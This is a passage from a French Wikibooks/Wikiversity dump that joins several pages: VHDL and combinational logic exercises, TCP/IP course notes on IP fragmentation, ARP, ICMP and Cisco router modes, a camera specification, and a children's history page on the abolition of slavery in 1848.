\overline{e1} . \overline{e0} + 1 . \overline{e1} . e0 + e2 . e1 . \overline{e0} + (e2+e3) . e1 . e0</math> soit : <math> s = \overline{e1} . e0 + e2 . e1 . \overline{e0} + e2 . e1 . e0 + e3 . e1 . e0</math> <u>Remarque</u> : une table de vérité pour ce circuit contiendrait 16 lignes. C'est un des intérêts de la table SI-ALORS de donner une information identique à une table de vérité mais de manière plus compacte. ====Exercice 1==== Faire une table si alors du ou exclusif. ====Exercice 2 (Le multiplexeur) ==== C'est un interrupteur programmable qui est décrit ici : [[w:Multiplexeur | Multiplexeur]]. Pour la suite de l'exercice on s'intéressera au multiplexeur 4/1. # Combien d'entrées et donc combien de lignes comporterait une table de vérité normale décrivant ce composant ? # Établir la table SI-ALORS de cette fonction. (Combien de lignes ?) # En déduire l'équation logique de ce multiplexeur. ===Retour sur VHDL=== Il est important de garder en tête le fait qu'une table de vérité ou une table généralisée doit être réalisée avec une structure with-select-when (même s'il reste possible de faire autrement). Voici un exemple avec la table de vérité du tout début de ce TD. ; Table de vérité et sa programmation VHDL :{| border cellspacing="0" width="650" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||colspan="2"|Sorties||VHDL |- style="text-align:center" |'''a'''||'''b'''||'''y'''||'''z'''||rowspan="5" style="text-align:left"|<pre><nowiki> -- exempe table de vérité ENTITY ex IS PORT ( -- a, b e : IN bit_vector(1 downto 0); -- y, z s : OUT bit_vector(1 downto 0)); END ex; ARCHITECTURE aex OF ex IS BEGIN WITH e SELECT s <= "01" WHEN "00", "10" WHEN "01", "11" WHEN "10", "10" WHEN OTHERS; END aex; </nowiki></pre> |- style="text-align:center" |0||0||0||1 |- style="text-align:center" |0||1||1||0 |- style="text-align:center" |1||0||1||1 |- style="text-align:center" |1||1||1||0 |} La table de vérité généralisée de s donnée en exemple précédemment peut s'écrire en VHDL : <pre><nowiki> -- exemple table de vérité généralisée LIBRARY ieee; ENTITY fct IS PORT ( e3,e2 : IN bit; e : IN bit_vector(1 DOWNTO 0); s : OUT bit); END fct; ARCHITECTURE archfct OF fct IS BEGIN WITH e SELECT s <= '0' WHEN "00", '1' WHEN "01", e2 WHEN "10", e2 OR e3 WHEN OTHERS; END archfct; </nowiki></pre> ====Exercice 3==== Ecrire un programme VHDL pour le multiplexeur de l'exercice 2. ===Générateur de fonction logique combinatoire === Un multiplexeur utilisé comme ci-dessus permet de réaliser des fonctions combinatoires. [[Image:td7fig2.png]] La notation <math>\angle </math> chapeautant des lettres signifie que A est poids faible pour la figure de gauche et donc que B est poids faible pour la figure de droite. À gauche la fonction obtenue est : <math>S=\bar{C}.\bar{B}.\bar{A} + C.\bar{B}.A + x.\bar{C}.B.A + y.C.\bar{B}.\bar{A} + C.B.\bar{A}</math> ====Exercice 4==== Quelle est la fonction réalisée par le schéma de droite de la figure ci-dessus ? == Voir aussi == * [[w:Fonction_logique | fonctions logiques]] * [[w:Alg%C3%A8bre_de_Boole_%28logique%29| Algèbre de Boole]] * [[w:Tableau_de_Karnaugh | Table de Karnaugh]] * [[w:%C3%89lectronique_num%C3%A9rique | Électronique numérique]] * [[w:Circuit intégré numérique| Circuit intégré numérique]] * [[w:Circuit intégré| Circuit intégré]] * [[w:Additionneur | Additionneur]] * [[w:Multiplexeur | Multiplexeur]] * [[w:VHDL |VHDL]] * [[w:Transistor-Transistor logic| TTL]] * [[w:CMOS| CMOS]] L'Égypte 7180 34042 2006-02-23T05:29:16Z Urban 886 [[L'Égypte]] déplacé vers [[Wikijunior:Les civilisations anciennes/L'Égypte]]: se confond avec les autres wikibooks #REDIRECT [[Wikijunior:Les civilisations anciennes/L'Égypte]] La Grèce antique 7181 34044 2006-02-23T05:30:20Z Urban 886 [[La Grèce antique]] déplacé vers [[Wikijunior:Les civilisations anciennes/La Grèce antique]]: Se confond avec les autres wikibooks #REDIRECT [[Wikijunior:Les civilisations anciennes/La Grèce antique]] Les Mound Builders 7182 34046 2006-02-23T05:33:31Z Urban 886 [[Les Mound Builders]] déplacé vers [[Wikijunior:Les civilisations anciennes/Les Mound Builders]]: se confond avec les autres wikibooks #REDIRECT [[Wikijunior:Les civilisations anciennes/Les Mound Builders]] Les Anasazis 7183 34048 2006-02-23T05:34:35Z Urban 886 [[Les Anasazis]] déplacé vers [[Wikijunior:Les civilisations anciennes/Les Anasazis]]: se confond avec les autres wikibooks #REDIRECT [[Wikijunior:Les civilisations anciennes/Les Anasazis]] New York 7184 34055 2006-02-23T06:40:11Z Urban 886 [[New York]] déplacé vers [[Wikijunior:Les grandes villes du monde/New York]]: se confond avec les autres wikibooks #REDIRECT [[Wikijunior:Les grandes villes du monde/New York]] Département informatique/Accueil 7185 42006 2006-05-11T21:28:30Z M'vy 1516 apportenez -> apportez == Bienvenue == Bienvenue au département Informatique de la [[wikiversité]]. L'objectif du département informatique est de proposer à tous des cours d'informatique de qualité. Ces cours sont destinés à des personnes souhaitant devenir informaticien. L'objectif premier du département n'est pas de proposer des cours destinés à des utilisateurs de l'informatique. <br/> Bien au delà des cours, il faudra proposer ici des cursus complets, sur plusieurs années avec une proposition de rythme de travail. Le travail ne manquera donc pas et il reste encore énormément de cours à rédiger.<br/> Le rêve serait que le département soit ouvert sur l'extérieur et collabore avec de vraies universités. Nous n'en sommes pas encore là et il nous faudra montrer un vrai professionnalisme et une quantité de cours suffisante avant qu'une quelconque collaboration devienne envisageable. Relevons donc le défi car il en vaut certainement la peine ! ==Mise en garde== Nous sommes sur un wiki, chacun est libre d'écrire et de modifier ce qu'il veut ! Il peut arriver qu'il y ait sur un des cours proposés des choses fausses, des points de vue erronés...etc... Nous essayerons de proposer des cours de qualité mais nous ne détenons pas la science infuse. N'hésitez pas à écrire les erreurs repérées dans la page discussion ! Ne prenez pas pour argent comptant tout ce qui est écrit. Comme pour tout média, l'utilisateur doit conserver un avis critique. Chaque cours est un point de vue. Aucun choix n'est neutre. Nous espérons très sincèrement qu'aucune dérive déontologique grave n'aura lieu dans ce département. N'hésitez pas à nous faire part de vos remarques à ce sujet.<br/><br/> Cela peut sembler fou à certains de s'autoproclamer wikiversité. D'autres sont scandalisés ! Nous comprenons largement leurs réticences car cette expérience n'est pas sans soulever des problèmes de fond. Nous espérons très sincèrement montrer qu'un travail de qualité acceptable est envisageable sur un wiki et pourra servir de banques de ressources pour les enseignants et les étudiants. ==Déontologie== Bien sûr le département informatique est conscient et soucieux de la déontologie nécessaire au concept de wikiversité. Lorsque le département grandira des décisions importantes sur la déontologie devront être prises. ==Actualité== Bonjour à toutes et à tous * [[Département informatique/Soutiens|Apportez votre SOUTIEN MORAL au département informatique]]. *les cours s'étoffent petit à petit ! Il faudrait trouver du renfort en rédacteurs ! * Il faudrait que le département informatique trouve '''son responsable communication''' : il contacterait petit à petit toutes les universités francophones du monde entier puis tous les départements informatiques du monde et chercherait au moins leur soutien de principe au projet... Un étudiant en école de communication et/ou de commerce pourrait parfaitement faire l'affaire. Département informatique/BlibliothèqueContenu 7186 35372 2006-03-01T15:38:17Z Merrheim 1032 == La bibliothèque du département informatique== La bibliothèque est en cours de rédaction. Nous espérons pouvoir bientôt proposer des ressources complètes et de qualité. Un travail rédactionnel important a d'ailleurs lieu en ce moment. Il s'agit de recenser ici toutes les ressources disponibles sur wikipédia et variantes concernant l'informatique et pouvant être utilisées dans le cadre d'un wikimodule. Beaucoup de ces ressources sont en cours de rédaction et ne sont pas encore terminées. N'hésitez pas à les compléter. N'oubliez pas de consulter toutes les ressources de l'[[Accueil/Informatique|ETAGERE INFORMATIQUE]]. Wikijunior:Les grandes dates de l'histoire de France 7187 42271 2006-05-14T10:08:33Z Urban 886 *[[Wikijunior:Les grandes dates de l'histoire de France/496 : Le baptême de Clovis|496 : Le baptême de Clovis]] *[[Wikijunior:Les grandes dates de l'histoire de France/732 : La bataille de Poitiers|732 : La bataille de Poitiers]] *[[Wikijunior:Les grandes dates de l'histoire de France/987 : Le couronnement d'Hugues Capet|987 : Le couronnement d'Hugues Capet]] *[[Wikijunior:Les grandes dates de l'histoire de France/1661 : Louis XIV, roi absolu|1661 : Louis XIV, roi absolu]] *[[Wikijunior:Les grandes dates de l'histoire de France/1789 : La prise de la Bastille|1789 : La prise de la Bastille]] *[[Wikijunior:Les grandes dates de l'histoire de France/1804 : Le couronnement de Napoléon Ier|1804 : Le couronnement de Napoléon Ier]] *[[Wikijunior:Les grandes dates de l'histoire de France/1848 : L'abolition de l'esclavage|1848 : L'abolition de l'esclavage]] *[[Wikijunior:Les grandes dates de l'histoire de France/1944 : La Libération|1944 : La Libération]] [[Catégorie:Wikijunior]] Image:-Td1fig1.png 7188 34144 2006-02-23T09:50:48Z SergeMoutou 1178 Image:Td2fig1.png 7191 34164 2006-02-23T12:09:46Z SergeMoutou 1178 Assemnlage de deux fonctions logiques Assemnlage de deux fonctions logiques Architecture des ordinateurs/Liens Internes 7192 34394 2006-02-24T10:41:36Z 134.214.114.10 /* Liens internes */ {{Architecture des ordinateurs}} ==Liens internes== *[[w:Histoire de l'informatique|Histoire de l'informatique]] : un article de qualité sur cette belle aventure. *[[w:Transistor|Présentation de la notion de transistor]] *[[w:Complementary_metal_oxide_semi-conductor#Circuit_sp.C3.A9cialis.C3.A9|Introduction à la technologie CMOS]] *[[w:Algèbre de Boole (logique)| Une introduction à l'algèbre de Boole]] *[[w:Additionneur|Additionneur]] : quelques notions sur les additionneurs. Image:Td2fig2.png 7193 34170 2006-02-23T12:17:05Z SergeMoutou 1178 Exercie à résoudre Exercie à résoudre Image:Td2fig3.png 7194 34176 2006-02-23T12:23:42Z SergeMoutou 1178 Programmation VHDL structurelle Programmation VHDL structurelle Réseaux TCP/IP/Liens Internes 7196 34898 2006-02-26T21:12:01Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP/Liens Internes]] déplacé vers [[Réseaux TCP/IP/Liens Internes]]: ortho {{Reseaux TCP/IP}} ==Liens internes== *[[w:Adresse_IP| Adresse IP]] : la notion d'adresse IP et de masque. *[[w:DNS| DNS]] : Quelques notions sur les DNS. *[[w:Serveurs_DNS_Racine|Serveurs DNS Racine]] : présentation des serveurs DNS racine. *[[w:Ethernet|Ethernet]] : présentation de la trame éthernet. *[[w:IPv4| IP version 4]] : présentation du datagramme IP. *[[w:Address_Resolution_Protocol|ARP]] : présentation de ARP. *[[w:TCP/IP|La pile TCP/IP]] : présentation de la pile de protocoles TCP/IP. Image:Td3fig1.png 7197 34186 2006-02-23T12:34:28Z SergeMoutou 1178 Tableaux de karnaugh à deux, trois et quatre variables Tableaux de karnaugh à deux, trois et quatre variables Réseaux TCP/IP : la pile TCP/IP 7198 47128 2006-07-02T11:40:16Z 196.20.71.53 /* Notion de MTU */ {{Reseaux TCP/IP}} ==La pile TCP/IP== ===Le datagramme IP (version 4)=== Lorsque 2 machines communiquent en utilisant le protocole IP, elles s'échangent des datagrammes IP qui ont le format ci-dessous : <pre> <------------------ 32 bits ------------------------------------> |Version| IHL |Type of service| Total Length | | ID |F | Fragment offset | | TTL | Protocole | Header Checsksum |Entête sur | IP source |20 octets | IP destination | |---------------------------------------------------------------| | Données | | ........ | |---------------------------------------------------------------| </pre> * '''Version (4bits) : '''le champs version indique la version de IP utilisée. Début 2006, la version de IP la plus fréquemment utilisée est la version 4. La version 6 commence à apparaître : il n'y aura pas de version 5. Les 4 bits de ce champs sont donc 0100 (4 écrit en binaire). *'''IHL - IP Header Length=Longueur de l'entête IP (sur 4 bits) : '''ce champs indique la longueur de l'entête IP. L'unité est le nombre de mots de 32 bits. pour la version 4 la longueur de cette entête est de 20 octets soit 5 fois 32 bits : ce champs vaut donc 0101. * '''Type of service (8 bits) : ''' ce champs permet d'indiquer que certains datagramme IP ont une priorité supérieure à d'autres. Il est peu utilisé sauf par quelques routeurs spécialisés dans la transmission de voix sur IP. *'''Total length (16 bits) : ''' ce champs indique le nombre d'octets du champs données de ce datagramme IP. La longueur maximale du datagramme en octets est 2<sup>16</sub>-1 = 65 535 octets = 64Ko * '''ID (16 bits) : ''' ce champs est un identifiant du datagramme IP (le numéro du datagramme). *'''F=Flags - les drapeaux (3 bits) : ''' ** le premier bit est inutilisé (oups !) ** le deuxième bit DF (don't) fragment permet d'interdire ou d'autoriser la fragmentation. positionné à 1, il est interdit de fragmenter ce datagramme IP. ** le troisième bit MF (more fragment) est utilisé lors de la fragmentation : il indique si le fragment est le dernier fragment du datagramme (MF=0) ou non (MF=1). * '''TTL - Time to live - temps restant à vivre (8 bits) : ''' il s'agit d'une valeur initialisée à 255 et qui est décrémenté de 1 à chaque fois que le datagramme traverse un routeur. Arrivé à 0, le datagramme est détruit : ce mécanisme assure la destruction des datagrammes qui se perdent sur le réseau. Ainsi ces datagrammes perdus n'encombrent pas indéfiniment le réseau. * '''Protocole (8 bits) : '''ce champs indique la nature des données transportées par ce datagramme IP. 3 protocoles sont principalement utilisés au dessus de IP : ICMP (code 1), TCP (code 6) et UDP (code 17). * '''Header Checksum - Somme de contrôle (16 bits) : ''' il s'agit d'un code détecteur d'erreurs qui ne porte que sur l'entête : la somme des octets de l'entête regroupé par paquets de 16 bits (header checksun compris) doit valoir 2<sup>16</sub>-1 modulo 2<sup>16</sub>. En cas d'erreur sur l'entête le datagramme est détruit. IP n'est pas un protocole fiable puisqu'on ne garantit pas que les données arrivent, ni de leur fiabilité. * '''IP source (32 bits) : ''' adresse IP de l'expéditeur. * '''IP destination (32 bits) : ''' adresse IP du destinataire. == La fragmentation IP== === Notion de MTU=== La plupart des réseaux imposent une limite physique à la taille des données qu'ils peuvent transporter. Un datagramme IP peut avoir une taille maximale de 65535 octets, ce qui est trop grand pour la plupart des réseaux. Le MTU (Maximum Transfert Unit) correspond à la taille maximale des données transportables par le réseau. Le datagramme IP (entête comprise) aura comme taille maximale le MTU du réseau. ===Quelques valeurs du MTU === éthernet : MTU=1500 octets<br/> FDDI : 4470 octets<br/> ===Découpage par le routeur=== Si un routeur route des données d'un réseau A vers un réseau B et si les 2 réseaux ont des valeurs différentes de MTU (par exemple le réseau A est un réseau FDDI de MTU 4470 et le réseau B est un réseau éthernet de MTU 1500 octets), alors il peut être amené à découper un datagramme IP en plusieurs datagrammes plus petits. === Le rôle des flags et du champs FO=== Si un datagramme a été découpé, il faut être capable de réunir les différents morceaux dans le bon ordre à l'arrivée : les flags (3 bits) et le champs FO (Fragment Offset sur 13 bits) vont contenir les informations nécessaires à cette reconstruction. === Les flags === * premier bit : inutilisé. La valeur est toujours à 0. * deuxième bit : DF (Don't fragment) permet d'autoriser ou d'interdire la fragmentation du datagramme. Si le bit DF est à 0, la fragmentation est autorisée et s'il vaut 1, elle est interdite. Si le routeur doit découper un datagramme et que le bit DF est à 1, alors le datagramme IP sera détruit. * troisième bit : MF (More Fragment) permet d'indiquer si le datagramme est le dernier ou non. Si MF est à 0, alors le fragment est le dernier, s'il vaut 1, alors il n'est pas le dernier. ===Le champs FO=== Le nombre d'octets de données de chaque fragment, sauf le dernier, doit être un multiple de 8. Ainsi la position du premier octet de chaque fragment dans le datagramme d'orgine sera un multiple de 8. La valeur de FO de chaque fragment sera ce numéro divisé par 8 écrit en binaire sur 13 bits. ===Exemple :=== *Un routeur doit router un datagramme IP dont la taille totale fait 4470 octets sur un réseau éthernet. * Le datagramme initial comprend 20 octets d'entête et 4450 octets de données. Numérotons de 0 à 4449 ces octets. * Chaque fragment aura une taille maximale de 1500 octets, soit 20 octets d'entête et 1480 octets de données. * '''Répartition des données dans les fragments : ''' ** On mettra dans le premier fragment les octets de 0 à 1479 du datagramme initial. ** On mettra dans le deuxième fragment les octets de 1480 à 2959 du datagramme initial. ** On mettra dans le troisième fragment les octets de 2960 à 4439 du datagramme initial. ** On mettra dans le quatrième fragment les octets de 4440 à 4449 du datagramme initial. *La position du premier octet du fragment dans le datagramme initial sera donc : ** premier fragment : 0 ** deuxième fragment : 1480 ** troisième fragment : 2960 ** quatrième fragment : 4440 * On s'aperçoit que la condition '''Chaque fragment sauf le dernier contient un nombre d'octets multiple de 8''' a pour conséquence que dans tous les fragments y compris le dernier la position du premier octet du fragment dans le datagramme initial est un multiple de 8. * '''Description des fragments : ''' ** premier fragment : FO=0/8=0 et MF=1 ** deuxième fragment : FO=1480/8=185 et MF=1 ** troisième fragment : FO=2960/8=370 et MF=1 ** quatrième fragment : FO=4440/8=555 et MF=0 ==Le protocole ARP== ===Encapsulation des protocoles=== *Lorsqu'un datagramme IP est envoyé sur un réseau éthernet alors sur le réseau il ne va circuler que des trames éthernet. Ces trames éthernet contiendront dans leur champs de données un datagramme IP. On dit que le protocole IP est encapsulé dans éthernet. * L'encapsulation peut être plus complexe. Lorsque une machine envoie un datagramme ICMP, celui-ci sera encapsulé dans un datagramme IP qui sera encapsulé dans une trame éthernet. ===Format de la trame éthernet=== Une trame éthernet contient les champs suivants : * un préambule sur 64 bits : 31 fois 01 suivi de 11. Le preambule sert à la synchronisation. * l'adresse MAC du destinataire. * l'adresse MAC de l'expéditeur. * un code sur 16 bits indiquant le protocole utilisé au dessus d'éthernet. IP aura comme code 0800 (en hexadécimal) et ARP aura comme code 0806. * les données * un code détecteur d'erreur de type CRC permettant de savoir si la trame a été altérée ou non. ===Le problème === Imaginons qu'une machine A veuille envoyer un datagramme IP à une machine B via un réseau éthernet. Le datagramme IP sera encapsulé dans une trame éthernet. A va avoir besoin des information suivante : * sa propre adresse IP. A connait son adresse IP car l'administrateur l'a configurée. * l'adresse IP de B. A la connait : un serveur DNS lui a fourni l'adresse IP de B. * sa propre adresse MAC : A la connait car elle est écrite sur sa carte éthernet. * l'adresse MAC de B. A ne possède pas cette information ! A est incapable d'envoyer une trame éthernet à B sans cette information. Le protocole ARP va permetre à A de récupérer cette information. === Rôle du protocole ARP === '''Address Resolution Protocol''' permet d'obtenir l'adresse MAC d'une machine à partir de son adresse IP. === Le format de la trame ARP=== <pre> <------------------ 32 bits ----------------------> | champs 1 | champs 2 | | champs 3 | champs 4 | Opération | | champs 5 | | champs 5 (suite) | champs 6 | | champs 6 (suite) | champs 7 | | champs 7 suite | | champs 8 | |-------------------------------------------------| </pre> * champs 1 : type de réseau physique. Il s'agit d'un code indiquant la nature du réseau physique. Pour éthernet le code sera 01 (en hexadécimal) * champs 2 : il s'agit du code du protocole réseau utilisé. IP aura comme code 0800 (en hexadécimal). * champs 3 : longueur de l'adresse physique. Le protocole éthernet utilise des adresses de 48 bits soit 6 octets. Ce champs vaudra donc 6 pour un réseau éthernet. * champs 4 : longueur de l'adresse protocole. Le protocole IP utilise des adresse de 32 bits soit 4 octets. Ce champs vaudra donc 4 pour un réseau IP. * opération indique la nature de l'opération demandée. Une demande ARP aura comme code 01 et une réponse ARP le code 02. * champs 5 : adresse physique de l'expéditeur. * champs 6 : adresse protocole de l'expéditeur. * champs 7 : adresse physique du destinataire. Pour les demandes ce champs est à 0. * champs 8 : adresse protocole du destinataire. === La table ARP=== Les réponses des différentes demandes ARP sont mémorisées dans une table ARP qui contient les correspondances entre les adresses MAC et IP de différentes machines. === Un exemple d'échange de trames ARP=== On considère 2 machines A et B sur un même réseau. A souhaite connaître l'adresse MAC de B dont l'adresse IP est connue. * A envoie en broadcast une demande ARP. * B notifie dans sa table ARP la correspondance entre l'adresse IP de A et son adresse MAC. * B répond à A en lui transmettant son adresse MAC. * A mémorise les correspondances entre l'adresse MAC et IP de B dans sa table ARP. ''Les données contenues dans la table ARP ont une validité de 20 minutes.'' Une fois ce delai dépassé, il faut refaire une demande ARP. ==Le protocole ICMP== ===Le rôle de protocole ICMP=== C'est un protocole au dessus d'IP. Il ne permet pas d'échange de données. Il est utilisé pour: * tester le réseau. Par exemple, le datagramme de type 8 (demande d'écho) oblige le destinataire à répondre par un datagramme de type 0 (réponse à une demande d'écho). * des petites optimisations du réseau * gérer des messages d'erreurs | | ....................................... | |-------------------------------------------------| </pre> * '''Le champs type :''' sur 8 bits ce champs permet de déterminer la nature du datagramme ICMP. *''' Code : '''sur 8 bits, il s'agit d'un code indiquant un sous-type du datagramme ICMP. * '''Checksum : ''' Un code détecteur d'erreurs. * '''Inutilisé :''' 32 bits à 0. * '''Données :''' des paramètres optionnels du datagramme ICMP. ===Différents types de datagramme ICMP=== * '''Type 0 : réponse à une demande d'écho :''' * '''Type 8 - Demande d'écho : ''' == Le protocole UDP== == Le protocole TCP== == Voir aussi ... == *[[w:IPv4| IP version 4]] : présentation du datagramme IP. *[[w:Ethernet|Ethernet]] : présentation de la trame éthernet. *[[w:Address_Resolution_Protocol|ARP]] : présentation de ARP. Image:Td3fig2.png 7199 34191 2006-02-23T12:38:30Z SergeMoutou 1178 Schéma pour exercice Schéma pour exercice Image:Td3fig3.png 7200 34210 2006-02-23T13:07:34Z SergeMoutou 1178 Tableau de Karnaugh Tableau de Karnaugh Image:Td3fig4.png 7201 34219 2006-02-23T13:23:24Z SergeMoutou 1178 Comment obtenir un schéma en ET-NON Comment obtenir un schéma en ET-NON Image:-Td3fig5.png 7202 34222 2006-02-23T13:31:20Z SergeMoutou 1178 Equivalence ET-NON à plusieurs entrées Réseaux TCP/IP : DHCP 7203 34902 2006-02-26T21:13:15Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : DHCP]] déplacé vers [[Réseaux TCP/IP : DHCP]]: ortho {{Reseaux TCP/IP}} ==DHCP== Réseaux TCP/IP : Routage dynamique 7204 34904 2006-02-26T21:14:13Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Routage dynamique]] déplacé vers [[Réseaux TCP/IP : Routage dynamique]]: ortho {{Reseaux TCP/IP}} ==Le routage dynamique== Réseaux TCP/IP : Les routeurs CISCO 7205 44070 2006-06-07T09:11:33Z 213.41.108.197 /* Hyperterminal */ {{Reseaux TCP/IP}} ==Les routeurs CISCO== ===Configurer un routeur=== Un routeur peut être configuré de différente manières : * un logiciel spécialisé permet de configurer le routeur. Le logiciel peut notamment avoir une interface Web. * On ouvre une connexion en mode texte avec le routeur et grâce à un langage de commande, on configure le routeur. C'est cette solution que nous retiendrons ici. ===Hyperterminal=== Notre routeur comporte un port nommé console qui est une interface série et qui permet d'envoyer des commandes en mode texte vers le routeur. Pour ouvrir une telle connexion, il suffit de mettre un cable série entre le port série de notre PC et le port console de notre routeur CISCO. Il faut ensuite utiliser un logiciel permettant de communiquer en mode texte via le port série du PC. On peut utiliser par exemple logiciel Windows standard nommé hyperterminal. ===Le langage de commande CISCO=== Nous allons étudier quelques motions de base sur le langage de commandes. * Initialement, après avoir booté, le routeur est dans le mode normal. Il peut essentiellement tester la configuration du routeur ou visualiser celle-ci. Il ne peut pas la modifier. * Pour passer dans le mode superviseur il faut taper la commane '''enable'''. Le routeur demandera un mot de passe permettant d'identifier la personne. Pour revenir au mode normal, il faut utiliser la commande '''disable'''. * A partir du mode normal, il faut utiliser la commande '''configure terminal''' pour passer dans le mode config. Ce mode permet de modifier la table de routage et la configuration des interfaces du routeur. La commande '''exit''' permettra de passer du mode config au mode superviseur. A partir du mode config, il faut utiliser la commande '''interface''' pour passer dans le mode config-if permettant de configurer une interface. La commande interface prend un paramètre : le nom de l'interface considére. Les cartes éthernet de notre routeur seront appelées respectivement '''fastethernet 0/0''' et '''fastethernet 0/1'''. On écrira donc '''interface fastethernet 0/0''' pour pouvoir configurer l'interface '''fastethernet 0/0 '''. === Le mode normal=== * la commande enable * la commande ping : * la commande show ip interface : * la commande show ip interface brief : * la commande show ip route : * la commande show interface status : Permet de voir l'état des ports du cisco === Le mode superviseur=== * la commande configure terminal. * la commande disable.. === Le mode config=== * la commande ip routing * la commande no ip routing * la commande ip route * la commande exit === Le mode config-if=== * la commande ip address * la commande no shutdown * la commande shutdown * la commande exit === Un premier exemple=== Réseaux TCP/IP : Administration sous Windows 7206 34908 2006-02-26T21:15:24Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Administration sous Windows]] déplacé vers [[Réseaux TCP/IP : Administration sous Windows]]: ortho {{Reseaux TCP/IP}} ==Administration sous windows== Image:-Td3fig6.png 7207 34232 2006-02-23T13:41:19Z SergeMoutou 1178 Optimisations Optimisations Photographie - 40 - Toshiba 7208 34236 2006-02-23T13:49:45Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Appareils compacts numériques == === Toshiba PDR-2300 (2002) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>compact numérique • <font color=grey>Format de capteur : </font>CCD 1/2,7" • <font color=grey>Mpix : </font>2 • <font color=grey>Résolution : </font>maxi 1600 x 1200 pixels, éco 800 x 600 pixels • <font color=grey>Formats de fichiers : </font>JPEG, Exif 2.1, 3 niveaux de compression • <font color=grey>Mémoire interne : </font>8 Mo • <font color=grey>Types de cartes-mémoire : </font>cartes SD-Memory de 8 à 128 Mo • <font color=grey>Objectif : </font>zoom x3, focale de 5.4 à 16.2 mm, équivalent 35 - 105 mm (24x36) • <font color=grey>Zoom numérique : </font>x2 • <font color=grey>Diaphragme : </font>2.8 à 4.4 • <font color=grey>Viseur : </font>optique avec correcteur dioptrique • <font color=grey>Écran de visualisation : </font>1,6 ", 62K pixels, visualisation image par image, images multiples, diaporama, zoom numérique x2 au sein de l'image et déplacement dans l'image • <font color=grey>Écran LCD de contrôle : </font>nombre de photos, modes flash, niveau de batterie, qualité d'image • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]], vidéo (séquences de 15 sec chacune en 320 x 240 pixels) • <font color=grey>Informations dans le viseur : </font>non • <font color=grey>Mise au point : </font>autofocus, de 20 cm à l'infini et de 8 à 40 cm en mode macro • <font color=grey>Obturateur : </font>vitesse d'obturation de 2 s à 1/8000e seconde • <font color=grey>Prise de flash : </font>non • <font color=grey>Flash intégré : </font>5 modes : automatique, anti-yeux rouges, débrayé, forcé et puissance maximale (portée : 2,5 m) • <font color=grey>Déclencheur : </font>à deux niveaux de pression • <font color=grey>Contrôle de l'exposition : </font>automatique, balance des blancs automatique, éclairage fluorescent blanc, éclairage fluorescent normal, éclairage incandescent, extérieur par temps ensoleillé, extérieur par temps nuageux • <font color=grey>Sensibilité du capteur : </font>100 ISO • <font color=grey>Retardateur : </font>2 ou 10 secondes • <font color=grey>Correction d'exposition : </font>+/- 1,8 EV • <font color=grey>Connexions : </font>câble USB et câble vidéo (PAL ou NTSC) • <font color=grey>Contrôle de piles : </font>dans le viseur de contrôle • <font color=grey>Alimentation : </font>4 piles alcalines (AA), accumulateurs ou adaptateur secteur • <font color=grey>Dimensions : </font>110 x 51 x 68 mm • <font color=grey>Poids (boîtier seul, sans pile) : </font>230 g • <font color=grey>Accessoires : </font>objectif dépourvu de filetage • <font color=grey>Remarques : </font>compatible Mac : OS 9.0 ou version ultérieure et PC : Windows 98/2000/ME/XP - vendu avec housse, sangle et logiciel ACDSee |- |} Wikijunior:Les grandes dates de l'histoire de France/1848 : L'abolition de l'esclavage 7209 36438 2006-03-07T14:57:06Z 82.232.57.139 /* La traite orientale et saharienne */ 1848, une page sombre de l'histoire de France se tourne : la II{{e}} République proclame la suppression de l'esclavage dans les territoires français. Car la France du XIX{{e}} siècle s'étend sur plusieurs océans et continents. Elle possède des '''colonies''' en Amérique et en Afrique. [[Image:France colonial Empire10.png|250px|thumb|Carte du premier (bleu clair) et du second (bleu foncé) empire colonial français]] =Retour en arrière : traite et esclavage= ==Le point de départ : la découverte et l'exploitation du continent américain== En 1492, Christophe Colomb découvre le continent américain. Les Européens se lancent alors à la découverte du monde, dans le but de trouver une route maritime occidentale vers l'Asie. Ils font la conquête des territoires qu'ils découvrent pour des raisons économiques mais aussi religieuses : ils veulent convertir les populations à leur religion, le christianisme. En 1492, l'Amérique est peuplée par les Amérindiens. Les deux empires principaux sont ceux des Aztèques et des Incas. Mais il existe bien d'autres tribus moins organisées dans les Antilles ou en Amérique du Nord. Leur conquête par les Espagnols est fulgurante. Des milliers d'Amérindiens sont massacrés ou meurent à cause des maladies apportées par les Européens. Le travail forcé dans les mines d'argent et les plantations finit d'exterminer la population locale. Manquant de main d'œuvre servile, les colons font venir des esclaves noirs d'Afrique : c'est le début de la '''traite des Noirs'''. Des empires coloniaux apparaissent : les Européens installent des comptoirs sur les côtes africaine et indienne. Le continent américain tombe sous la coupe des Espagnols et des Portugais. Puis les Anglais et les Français se lancent dans la conquête de colonies au début du XVII{{e}} siècle. À la fin du XVIII{{e}} siècle, l'empire colonial français s'étend aux Antilles, à Saint-Domingue, en Guyane, sur l'île Bourbon (la Réunion), sur des comptoirs au Sénégal et en Inde. ==La traite des Noirs, un commerce inhumain== ===La traite orientale et saharienne=== [[Image:Slaves Zadib Yemen 13th century BNF Paris.jpg|thumb|250px|Marché aux esclaves au Yémen, XIIIe siècle]] La traite orientale est ancienne : elle remonte à l'antiquité lorsque les Romains achetaient des esclaves en Afrique. Au Moyen Âge, les Chinois, les Indiens et les Arabes venaient chercher des captifs noirs pour leurs besoins économiques. Les esclaves étaient souvent échangés contre toutes sortes d'objets : des toiles, des chevaux, de la vaisselle, perles de verre ... Certains étaient achetés avec des pièces d'or ou des coquillages (cauris). Les esclaves noirs étaient vendus dans les villes du monde musulman jusqu'au XIX{{e}} siècle au moins. ===Le commerce triangulaire=== Au XVII{{e}} siècle, les Européens découvrent les plantes américaines : le cacao, dont on tire le chocolat, et le tabac arrivent pour la première fois en Espagne au XVI{{e}} siècle. Les Européens introduisent en Amérique la canne à sucre et le coton. Toutes ces plantes ne poussent que sous un climat tropical (c'est-à-dire chaud toute l'année). Les Antilles et les Caraïbes vont par conséquent se spécialiser dans l'économie de plantation. Des esclaves africains remplaceront les Amérindiens morts de maladies et d'épuisement. Au XVIII{{e}} siècle, le commerce entre les trois continents bordés par l'Océan Atlantique connaît un grand essor. Les navires partaient des ports d'Europe de 